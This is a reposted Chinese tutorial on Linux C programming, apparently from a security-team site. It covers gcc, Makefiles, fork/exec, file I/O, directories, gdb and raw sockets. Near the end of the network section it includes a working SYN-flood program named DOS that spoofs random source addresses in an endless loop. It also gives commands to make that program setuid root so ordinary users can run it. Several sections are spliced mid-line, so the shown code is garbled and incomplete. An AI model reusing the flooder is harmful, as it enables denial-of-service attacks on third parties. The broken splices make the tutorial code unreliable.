[转载]linux操作系统下c语言编程入门
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
1)Linux程序设计入门--基础知识
Linux下C语言编程基础知识
前言:
这篇文章介绍在LINUX下进行C语言编程所需要的基础知识.在这篇文章当中,我们将
会学到以下内容:
源程序编译
Makefile的编写
程序库的链接
程序的调试
头文件和系统求助
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1.源程序的编译
在Linux下面,如果要编译一个C语言源程序,我们要使用GNU的gcc编译器. 下面我们
以一个实例来说明如何使用gcc编译器.
假设我们有下面一个非常简单的源程序(hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux/n");
}
要编译这个程序,我们只要在命令行下执行:
gcc -o hello hello.c
gcc 编译器就会为我们生成一个hello的可执行文件.执行/hello就可以看到程序的输出
结果了.命令行中 gcc表示我们是用gcc来编译我们的源程序,-o 选项表示我们要求编译
器给我们输出的可执行文件名为hello 而hello.c是我们的源程序文件.
gcc编译器有许多选项,一般来说我们只要知道其中的几个就够了. -o选项我们已经知道
了,表示我们要求输出的可执行文件名. -c选项表示我们只要求编译器输出目标代码,而
不必要输出可执行文件. -g选项表示我们要求编译器在编译的时候提供我们以后对程序
进行调试的信息.
知道了这三个选项,我们就可以编译我们自己所写的简单的源程序了,如果你想要知道更
多的选项,可以查看gcc的帮助文档,那里有着许多对其它选项的详细说明.
2.Makefile的编写
假设我们有下面这样的一个程序,源代码如下:
/* main.c */
#include "mytool1.h"
#include "mytool2.h"
int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}
/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H
void mytool1_print(char *print_str);
#endif
/* mytool1.c */
#include "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s/n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf("This is mytool2 print %s/n",print_str);
}
当然由于这个程序是很短的我们可以这样来编译
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
这样的话我们也可以产生main程序,而且也不时很麻烦但是如果我们考虑一下如果有一
天我们修改了其中的一个文件(比如说mytool1.c)那么我们难道还要重新输入上面的命令
?也许你会说,这个很容易解决啊,我写一个SHELL脚本,让她帮我去完成不就可以了.是的
对于这个程序来说,是可以起到作用的.但是当我们把事情想的更复杂一点,如果我们的程
序有几百个源程序的时候,难道也要编译器重新一个一个的去编译?
为此,聪明的程序员们想出了一个很好的工具来做这件事情,这就是make.我们只要执行以
下make,就可以把上面的问题解决掉.在我们执行make之前,我们要先编写一个非常重要的
文件.--Makefile.对于上面的那个程序来说,可能的一个Makefile的文件是:
# 这是上面那个程序的Makefile文件
main:main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o:main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o:mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o:mytool2.c mytool2.h
gcc -c mytool2.c
有了这个Makefile文件,不过我们什么时候修改了源程序当中的什么文件,我们只要执行
make命令,我们的编译器都只会去编译和我们修改的文件有关的文件,其它的文件她连理
都不想去理的.
下面我们学习Makefile是如何编写的.
在Makefile中也#开始的行都是注释行.Makefile中最重要的是描述文件的依赖关系的说
明.一般的格式是:
target: components
TAB rule
第一行表示的是依赖关系.第二行是规则.
比如说我们上面的那个Makefile文件的第二行
main:main.o mytool1.o mytool2.o
表示我们的目标(target)main的依赖对象(components)是main.o mytool1.o mytool2.o
当倚赖的对象在目标修改后修改的话,就要去执行规则一行所指定的命令.就象我们的上
面那个Makefile第三行所说的一样要执行 gcc -o main main.o mytool1.o mytool2.o
注意规则一行中的TAB表示那里是一个TAB键
Makefile有三个非常有用的变量.分别是$@,$^,$pw_name);
printf("My Password :%s/n" ,my_info->pw_passwd);
printf("My User ID :%ld/n",my_info->pw_uid);
printf("My Group ID :%ld/n",my_info->pw_gid);
printf("My Real Name:%s/n" ,my_info->pw_gecos);
printf("My Home Dir :%s/n", my_info->pw_dir);
printf("My Work Shell:%s/n", my_info->pw_shell);
}
}
3。进程的创建
创建一个进程的系统调用很简单.我们只要调用fork函数就可以了.
#include
pid_t fork();
当一个进程调用了fork以后,系统会创建一个子进程.这个子进程和父进程不同的地方只
有他的进程ID和父进程ID,其他的都是一样.就象符进程克隆(clone)自己一样.当然创建
两个一模一样的进程是没有意义的.为了区分父进程和子进程,我们必须跟踪fork的返回
值. 当fork掉用失败的时候(内存不足或者是用户的最大进程数已到)fork返回-1,否则f
ork的返回值有重要的作用.对于父进程fork返回子进程的ID,而对于fork子进程返回0.我
们就是根据这个返回值来区分父子进程的. 父进程为什么要创建子进程呢?前面我们已经
说过了Linux是一个多用户操作系统,在同一时间会有许多的用户在争夺系统的资源有时
进程为了早一点完成任务就创建子进程来争夺资源. 一旦子进程被创建,父子进程一起从
fork处继续执行,相互竞争系统的资源.有时候我们希望子进程继续执行,而父进程阻塞直
到子进程完成任务.这个时候我们可以调用wait或者waitpid系统调用.
#include
#include
pid_t wait(int *stat_loc);
pid_t waitpid(pid_t pid,int *stat_loc,int options);
wait系统调用会使父进程阻塞直到一个子进程结束或者是父进程接受到了一个信号.如果
没有父进程没有子进程或者他的子进程已经结束了wait回立即返回.成功时(因一个子进
程结束)wait将返回子进程的ID,否则返回-1,并设置全局变量errno.stat_loc是子进程的
退出状态.子进程调用exit,_exit 或者是return来设置这个值. 为了得到这个值Linux定
义了几个宏来测试这个返回值.
WIFEXITED:判断子进程退出值是非0
WEXITSTATUS:判断子进程的退出值(当子进程退出时非0).
WIFSIGNALED:子进程由于有没有获得的信号而退出.
WTERMSIG:子进程没有获得的信号号(在WIFSIGNALED为真时才有意义).
waitpid等待指定的子进程直到子进程返回.如果pid为正值则等待指定的进程(pid).如果
为0则等待任何一个组ID和调用者的组ID相同的进程.为-1时等同于wait调用.小于-1时等
待任何一个组ID等于pid绝对值的进程. stat_loc和wait的意义一样. options可以决定
父进程的状态.可以取两个值 WNOHANG:父进程立即返回当没有子进程存在时. WUNTACHE
D:当子进程结束时waitpid返回,但是子进程的退出状态不可得到.
父进程创建子进程后,子进程一般要执行不同的程序.为了调用系统程序,我们可以使用系
统调用exec族调用.exec族调用有着5个函数.
#include
int execl(const char *path,const char *arg,...);
int execlp(const char *file,const char *arg,...);
int execle(const char *path,const char *arg,...);
int execv(const char *path,char *const argv[]);
int execvp(const char *file,char *const argv[]):
exec族调用可以执行给定程序.关于exec族调用的详细解说可以参考系统手册(man exec
l). 下面我们来学习一个实例.注意编译的时候要加 -lm以便连接数学函数库.
#include
#include
#include
#include
#include
#include
void main(void)
{
pid_t child;
int status;
printf("This will demostrate how to get child status/n");
if((child=fork())==-1)
{
printf("Fork Error :%s/n",strerror(errno));
exit(1);
}
else if(child==0)
{
int i;
printf("I am the child:%ld/n",getpid());
for(i=0;i0)
while(1);
if(kill(getppid(),SIGTERM)==-1)
{
printf("Kill Parent Error:%s/n",strerror(errno));
exit(1);
}
{
int mailfd;
while(1)
{
if((mailfd=open(MAIL,O_RDONLY))!=-1)
{
fprintf(stderr,"%s","/007");
close(mailfd);
}
sleep(SLEEP_TIME);
}
}
}
你可以在默认的路径下创建你的邮箱文件,然后测试一下这个程序.当然这个程序还有很
多地方要改善的.我们后面会对这个小程序改善的,再看我的改善之前你可以尝试自己改
善一下.比如让用户指定邮相的路径和睡眠时间等等.相信自己可以做到的.动手吧,勇敢
的探险者.
好了进程一节的内容我们就先学到这里了.进程是一个非常重要的概念,许多的程序都会
用子进程.创建一个子进程是每一个程序员的基本要求!
3)Linux程序设计入门--文件操作
Linux下文件的操作
前言:
我们在这一节将要讨论linux下文件操作的各个函数.
文件的创建和读写
文件的各个属性
目录文件的操作
管道文件
----------------------------------------------------------------------------
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1。文件的创建和读写
我假设你已经知道了标准级的文件操作的各个函数(fopen,fread,fwrite等等).当然
如果你不清楚的话也不要着急.我们讨论的系统级的文件操作实际上是为标准级文件操作
服务的.
当我们需要打开一个文件进行读写操作的时候,我们可以使用系统调用函数open.使用完
成以后我们调用另外一个close函数进行关闭操作.
#include
#include
#include
#include
int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);
int close(int fd);
open函数有两个形式.其中pathname是我们要打开的文件名(包含路径名称,缺省是认为在
当前路径下面).flags可以去下面的一个值或者是几个值的组合.
O_RDONLY:以只读的方式打开文件.
O_WRONLY:以只写的方式打开文件.
O_RDWR:以读写的方式打开文件.
O_APPEND:以追加的方式打开文件.
O_CREAT:创建一个文件.
O_EXEC:如果使用了O_CREAT而且文件已经存在,就会发生一个错误.
O_NOBLOCK:以非阻塞的方式打开一个文件.
O_TRUNC:如果文件已经存在,则删除文件的内容.
前面三个标志只能使用任意的一个.如果使用了O_CREATE标志,那么我们要使用open的第
二种形式.还要指定mode标志,用来表示文件的访问权限.mode可以是以下情况的组合.
-----------------------------------------------------------------
S_IRUSR 用户可以读 S_IWUSR 用户可以写
S_IXUSR 用户可以执行 S_IRWXU 用户可以读写执行
-----------------------------------------------------------------
S_IRGRP 组可以读 S_IWGRP 组可以写
S_IXGRP 组可以执行 S_IRWXG 组可以读写执行
-----------------------------------------------------------------
S_IROTH 其他人可以读 S_IWOTH 其他人可以写
S_IXOTH 其他人可以执行 S_IRWXO 其他人可以读写执行
-----------------------------------------------------------------
S_ISUID 设置用户执行ID S_ISGID 设置组的执行ID
-----------------------------------------------------------------
我们也可以用数字来代表各个位的标志.Linux总共用5个数字来表示文件的各种权限.
00000.第一位表示设置用户ID.第二位表示设置组ID,第三位表示用户自己的权限位,第四
位表示组的权限,最后一位表示其他人的权限.
每个数字可以取1(执行权限),2(写权限),4(读权限),0(什么也没有)或者是这几个值的和
..
比如我们要创建一个用户读写执行,组没有权限,其他人读执行的文件.设置用户ID位那么
我们可以使用的模式是--1(设置用户ID)0(组没有设置)7(1+2+4)0(没有权限,使用缺省)
5(1+4)即10705:
open("temp",O_CREAT,10705);
如果我们打开文件成功,open会返回一个文件描述符.我们以后对文件的所有操作就可以
对这个文件描述符进行操作了.
当我们操作完成以后,我们要关闭文件了,只要调用close就可以了,其中fd是我们要关闭
的文件描述符.
文件打开了以后,我们就要对文件进行读写了.我们可以调用函数read和write进行文件的
读写.
#include
ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);
fd是我们要进行读写操作的文件描述符,buffer是我们要写入文件内容或读出文件内容的
内存地址.count是我们要读写的字节数.
对于普通的文件read从指定的文件(fd)中读取count字节到buffer缓冲区中(记住我们必
须提供一个足够大的缓冲区),同时返回count.
如果read读到了文件的结尾或者被一个信号所中断,返回值会小于count.如果是由信号中
断引起返回,而且没有返回数据,read会返回-1,且设置errno为EINTR.当程序读到了文件
结尾的时候,read会返回0.
write从buffer中写count字节到文件fd中,成功时返回实际所写的字节数.
下面我们学习一个实例,这个实例用来拷贝文件.
#include
#include
#include
#include
#include
#include
#include
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s fromfile tofile/n/a",argv[0]);
exit(1);
}
/* 打开源文件 */
if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[1],strerror(errno));
exit(1);
}
/* 创建目的文件 */
if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n",argv[2],strerror(errno));
exit(1);
}
/* 以下代码是一个经典的拷贝文件的代码 */
while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/* 一个致命的错误发生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/* 一个致命错误发生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/* 写完了所有读的字节 */
else if(bytes_write==bytes_read) break;
/* 只写了一部分,继续写 */
else if(bytes_write>0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/* 写的时候发生的致命错误 */
if(bytes_write==-1)break;
}
}
close(from_fd);
close(to_fd);
exit(0);
}
2。文件的各个属性
文件具有各种各样的属性,除了我们上面所知道的文件权限以外,文件还有创建时间
,大小等等属性.
有时侯我们要判断文件是否可以进行某种操作(读,写等等).这个时候我们可以使用acce
ss函数.
#include
int access(const char *pathname,int mode);
pathname:是文件名称,mode是我们要判断的属性.可以取以下值或者是他们的组合.
R_OK文件可以读,W_OK文件可以写,X_OK文件可以执行,F_OK文件存在.当我们测试成功时
,函数返回0,否则如果有一个条件不符时,返回-1.
如果我们要获得文件的其他属性,我们可以使用函数stat或者fstat.
#include
#include
int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);
struct stat {
dev_t st_dev; /* 设备 */
ino_t st_ino; /* 节点 */
mode_t st_mode; /* 模式 */
nlink_t st_nlink; /* 硬连接 */
uid_t st_uid; /* 用户ID */
gid_t st_gid; /* 组ID */
dev_t st_rdev; /* 设备类型 */
off_t st_off; /* 文件字节数 */
unsigned long st_blksize; /* 块大小 */
unsigned long st_blocks; /* 块数 */
time_t st_atime; /* 最后一次访问时间 */
time_t st_mtime; /* 最后一次修改时间 */
time_t st_ctime; /* 最后一次改变时间(指属性) */
};
stat用来判断没有打开的文件,而fstat用来判断打开的文件.我们使用最多的属性是st_
mode.通过着属性我们可以判断给定的文件是一个普通文件还是一个目录,连接等等.可以
使用下面几个宏来判断.
S_ISLNK(st_mode):是否是一个连接.S_ISREG是否是一个常规文件.S_ISDIR是否是一个目
录S_ISCHR是否是一个字符设备.S_ISBLK是否是一个块设备S_ISFIFO是否 是一个FIFO文
件.S_ISSOCK是否是一个SOCKET文件. 我们会在下面说明如何使用这几个宏的.
3。目录文件的操作
在我们编写程序的时候，有时候会要得到我们当前的工作路径。C库函数提供了get
cwd来解决这个问题。
#include
char *getcwd(char *buffer,size_t size);
我们提供一个size大小的buffer,getcwd会把我们当前的路径考到buffer中.如果buffer
太小,函数会返回-1和一个错误号.
Linux提供了大量的目录操作函数,我们学习几个比较简单和常用的函数.
#include
#include
#include
#include
#include
int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);
struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /* 文件名称 */
mkdir很容易就是我们创建一个目录,opendir打开一个目录为以后读做准备.readdir读一
个打开的目录.rewinddir是用来重读目录的和我们学的rewind函数一样.closedir是关闭
一个目录.telldir和seekdir类似与ftee和fseek函数.
下面我们开发一个小程序,这个程序有一个参数.如果这个参数是一个文件名,我们输出这
个文件的大小和最后修改的时间,如果是一个目录我们输出这个目录下所有文件的大小和
修改时间.
#include
#include
#include
#include
#include
#include
#include
static int get_file_size_time(const char *filename)
{
struct stat statbuf;
if(stat(filename,&statbuf)==-1)
{
printf("Get stat on %s Error:%s/n",
filename,strerror(errno));
return(-1);
}
if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf("%s size:%ld bytes/tmodified at %s",
filename,statbuf.st_size,ctime(&statbuf.st_mtime));
return(0);
}
int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;
if(argc!=2)
{
printf("Usage:%s filename/n/a",argv[0]);
exit(1);
}
if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)
{
printf("Open Directory %s Error:%s/n",
argv[1],strerror(errno));
exit(1);
}
while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp- | dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普
通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了
.. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负
责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用
相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各
个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址
,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由
系统来创建的.
--
网络编程(11)
11. 后记
总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是
一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都
省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.
如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网
络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处
理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突
发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理
好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各
种网络协议.总之我们要学的东西还很多很多.
看一看外国的软件水平,看一看印度的软件水平,宝岛*的水平,再看一看我们自己的
软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编
写的.
不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我
们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的
..我们就可以追上别人直到超过别人!
相信一点:
别人可以做到的我们一样可以做到,而且可以比别人做的更好!
勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国
会记住你们的!
hoyt
11.1 参考资料
---机械工业出版社.
--清华大学出版社.
9)Linux下C开发工具介绍
Linux的发行版中包含了很多软件开发工具. 它们中的很多是用于 C 和 C++应用程序开发
的. 本文介绍了在 Linux 下能用于 C 应用程序开发和调试的工具. 本文的主旨是介绍如
何在 Linux 下使用 C 编译器和其他 C 编程工具, 而非 C 语言编程的教程.
GNU C 编译器
GNU C 编译器(GCC)是一个全功能的 ANSI C 兼容编译器. 如果你熟悉其他操作系统或硬
件平台上的一种 C 编译器, 你将能很快地掌握 GCC. 本节将介绍如何使用 GCC 和一些
GCC 编译器最常用的选项.
使用 GCC
通常后跟一些选项和文件名来使用 GCC 编译器. gcc 命令的基本用法如下:
gcc [options] [filenames]
命令行选项指定的操作将在命令行上每个给出的文件上执行. 下一小节将叙述一些你会最
常用到的选项.
GCC 选项
GCC 有超过100个的编译选项可用. 这些选项中的许多你可能永远都不会用到, 但一些主
要的选项将会频繁用到. 很多的 GCC 选项包括一个以上的字符. 因此你必须为每个选项
指定各自的连字符, 并且就象大多数 Linux 命令一样你不能在一个单独的连字符后跟一
组选项. 例如, 下面的两个命令是不同的:
gcc -p -g test.c
gcc -pg test.c
第一条命令告诉 GCC 编译 testc 时为 prof 命令建立剖析(profile)信息并且把调试信
息加入到可执行的文件里. 第二条命令只告诉 GCC 为 gprof 命令建立剖析信息.
当你不用任何选项编译一个程序时, GCC 将会建立(假定编译成功)一个名为 a.out 的可
执行文件. 例如, 下面的命令将在当前目录下产生一个叫 a.out 的文件:
gcc test.c
你能用 -o 编译选项来为将产生的可执行文件指定一个文件名来代替 a.out. 例如, 将一
个叫 count.c 的 C 程序编译为名叫 count 的可执行文件, 你将输入下面的命令:
gcc -o count count.c
------------------------------------------------------------------------------
--
注意: 当你使用 -o 选项时, -o 后面必须跟一个文件名.
------------------------------------------------------------------------------
--
GCC 同样有指定编译器处理多少的编译选项. -c 选项告诉 GCC 仅把源代码编译为目标代
码而跳过汇编和连接的步骤 这个选项使用的非常频繁因为它使得编译多个 C 程序时速
度更快并且更易于管理. 缺省时 GCC 建立的目标代码文件有一个 .o 的扩展名.
-S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译. GCC 产生的汇编语
言文件的缺省扩展名是 .s . -E 选项指示编译器仅对输入文件进行预处理. 当这个选项
被使用时, 预处理器的输出被送到标准输出而不是储存在文件里.
优 化 选 项
当你用 GCC 编译 C 代码时, 它会试着用最少的时间完成编译并且使编译后的代码易于调
试. 易于调试意味着编译后的代码与源代码有同样的执行次序, 编译后的代码没有经过优
化. 有很多选项可用于告诉 GCC 在耗费更多编译时间和牺牲易调试性的基础上产生更小
更快的可执行文件. 这些选项中最典型的是-O 和 -O2 选项.
-O 选项告诉 GCC 对源代码进行基本优化. 这些优化在大多数情况下都会使程序执行的更
快. -O2 选项告诉 GCC 产生尽可能小和尽可能快的代码. -O2 选项将使编译的速度比使
用 -O 时慢. 但通常产生的代码执行速度会更快.
除了 -O 和 -O2 优化选项外, 还有一些低级选项用于产生更快的代码. 这些选项非常的
特殊, 而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再去
使用. 这些选项的详细描述, 请参考 GCC 的指南页, 在命令行上键入 man gcc .
调试和剖析选项
GCC 支持数种调试和剖析选项. 在这些选项里你会最常用到的是 -g 和 -pg 选项.
-g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序. GCC 提供了
一个很多其他 C 编译器里没有的特性, 在 GCC 里你能使 -g 和 -O (产生优化代码)联用
.. 这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码. 在你同时使
用这两个选项时你必须清楚你所写的某些代码已经在优化时被 GCC 作了改动. 关于调试
C 程序的更多信息请看下一节"用 gdb 调试 C 程序" .
-pg 选项告诉 GCC 在你的程序里加入额外的代码, 执行时, 产生 gprof 用的剖析信息以
显示你的程序的耗时情况. 关于 gprof 的更多信息请参考 "gprof" 一节.
用 gdb 调试 GCC 程序
Linux 包含了一个叫 gdb 的 GNU 调试程序. gdb 是一个用来调试 C 和 C++ 程序的强力
调试器. 它使你能在程序运行时观察程序的内部结构和内存的使用情况. 以下是 gdb 所
提供的一些功能:
它使你能监视你程序中变量的值.
它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.
在命令行上键入 gdb 并按回车键就可以运行 gdb 了, 如果一切正常的话, gdb 将被启动
并且你将在屏幕上看到类似的内容:
GNU gdb 5.0
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This GDB was configured as "i386-redhat-linux".
(gdb)
当你启动 gdb 后, 你能在命令行上指定很多的选项. 你也可以以下面的方式来运行 gdb
:
gdb
当你用这种方式运行 gdb , 你能直接指定想要调试的程序 这将告诉gdb 装入名为
fname 的可执行文件. 你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件,
或者与一个正在运行的程序相连. 你可以参考 gdb 指南页或在命令行上键入 gdb -h 得
到一个有关这些选项的说明的简单列表.
为调试编译代码(Compiling Code for Debugging)
为了使 gdb 正常工作, 你必须使你的程序在编译时包含调试信息. 调试信息包含你程序
里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号. gdb 利用这些信
息使源代码和机器码相关联
在编译时用 -g 选项打开调试选项.
gdb 基本命令
gdb 支持很多的命令使你能实现不同的功能. 这些命令从简单的文件装入到允许你检查所
调用的堆栈内容的复杂命令, 表27.1列出了你在用 gdb 调试时会用到的一些命令. 想了
解 gdb 的详细使用请参考 gdb 的指南页.
基本 gdb 命令.
命 令 描 述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
print 显示表达式的值
break 在代码里设置断点, 这将使程序执行到这里时被挂起
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.
gdb 支持很多与 UNIX shell 程序一样的命令编辑特征. 你能象在 bash 或 tcsh里那样
按 Tab 键让 gdb 帮你补齐一个唯一的命令, 如果不唯一的话 gdb 会列出所有匹配的命
令. 你也能用光标键上下翻动历史命令.
gdb 应用举例
本节用一个实例教你一步步的用 gdb 调试程序. 被调试的程序相当的简单, 但它展示了
gdb 的典型应用.
下面列出了将被调试的程序 这个程序被称为 hello , 它显示一个简单的问候, 再用反
序将它列出.
#include
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string;
string2[size+1] = '';
printf ("The string printed backward is %s ", string2);
}
用下面的命令编译它:
gcc -g -o hello hello.c
这个程序执行时显示如下结果:
../hello
The string is hello world!
The string printed backward is
输出的第一行是正确的, 但第二行打印出的东西并不是我们所期望的. 我们所设想的输出
应该是:
The string printed backward is !dlrow olleh
由于某些原因, my_print2 函数没有正常工作. 让我们用 gdb 看看问题究竟出在哪儿,
先键入如下命令:
gdb hello
------------------------------------------------------------------------------
--
注意: 记得在编译 hello 程序时把调试选项打开.
------------------------------------------------------------------------------
--
如果你在输入命令时忘了把要调试的程序作为参数传给 gdb , 你可以在 gdb 提示符下用
file 命令来载入它:
(gdb) file hello
这个命令将载入 hello 可执行文件就象你在 gdb 命令行里装入它一样.
这时你能用 gdb 的 run 命令来运行 hello 了. 当它在 gdb 里被运行后结果大约会象这
样:
(gdb) run
Starting program: /root/hello
The string is hello world!
The string printed backward is
Program exited with code 040
这个输出和在 gdb 外面运行的结果一样. 问题是, 为什么反序打印没有工作? 为了找出
症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb
提示符下键入 list 命令三次, 列出源代码:
(gdb) list
(gdb) list
(gdb) list
------------------------------------------------------------------------------
--
技巧: 在 gdb 提示符下按回车健将重复上一个命令.
------------------------------------------------------------------------------
--
第一次键入 list 命令的输出如下:
1 #include
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);
如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出:
11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
再按一次回车将列出 hello 程序的剩余部分:
21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string;
27 string2[size+1] = '';
28
29 printf ("The string printed backward is %s ", string2);
30 }
根据列出的源程序, 你能看到要设断点的地方在第26行, 在 gdb 命令行提示符下键入如
下命令设置断点:
(gdb) break 26
gdb 将作出如下的响应:
Breakpoint 1 at 0x804857c: file hello.c, line 26.
(gdb)
现在再键入 run 命令, 将产生如下的输出:
Starting program: /root/hello
The string is hello world!
Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26
26 string2[size - i] = string;
你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的,
做法是键入:
(gdb) watch string2[size - i]
gdb 将作出如下回应:
Hardware watchpoint 2: string2[size - i]
现在可以用 next 命令来一步步的执行 for 循环了:
(gdb) next
经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 `h`. gdb 用如下的显示
来告诉你这个信息:
Hardware watchpoint 2: string2[size - i]
Old value = 0 '00'
New value = 104 'h'
my_print2 (string=0xbffffab0 "hello world!") at hello.c:25
25 for (i = 0; i < size; i++)
这个值正是期望的. 后来的数次循环的结果都是正确的 当 i=11 时, 表达式
string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最后一个字符已经拷到新串
里了.
如果你再把循环执行下去, 你会看到已经没有值分配给 string2[0] 了, 而它是新串的
第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符. 所以
string2 的第一个字符是空字符. 这解释了为什么在打印 string2 时没有任何输出了.
现在找出了问题出在哪里, 修正这个错误是很容易的. 你得把代码里写入 string2 的第
一个字符的的偏移量改为 size - 1 而不是 size. 这是因为 string2 的大小为 12, 但
起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留.
改正方法非常简单. 这是这种解决办法的代码:
#include
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
